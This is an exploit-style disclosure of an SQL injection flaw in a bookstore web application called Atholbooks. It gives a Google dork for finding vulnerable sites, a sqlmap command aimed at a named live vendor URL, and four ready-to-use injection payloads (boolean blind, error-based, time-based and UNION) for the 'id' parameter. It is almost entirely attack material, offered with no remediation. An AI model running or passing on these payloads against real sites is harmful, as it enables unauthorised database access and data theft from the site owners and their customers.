****************************
#Exploit Title: ATHOLBOOKS - SQL Injection vulnerability
#Date: 2020-12-24
#Exploit Author: darksecurity team
#Vendor Homepage: https://www.atholbooks-sales.org
#Google Dork: "Powered by Atholbooks"
#Tested On: windows 10
sqlmap:
sqlmap -u "https://www.atholbooks-sales.org/add_cart.php?id=163" --dbs
Testing Method;
- UNION query
- error-based
- time-based blind
- boolean-based blind
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=163' AND 9450=9450 AND 'YGLx'='YGLx
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=163' AND (SELECT 8564 FROM(SELECT COUNT(*),CONCAT(0x71787a7171,(SELECT (ELT(8564=8564,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'nByY'='nByY
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=163' AND (SELECT 8568 FROM (SELECT(SLEEP(5)))RzuF) AND 'mOrb'='mOrb
Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: id=-9474' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7171,0x544d676b494f6a634d5646716f6e7a534a78654b734346434c76585779785a4a7067545354617555,0x7170717171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
**************************************************
#Discovered by: mjoker-mina_ah-mohammad_zo-reza_zo
**************************************************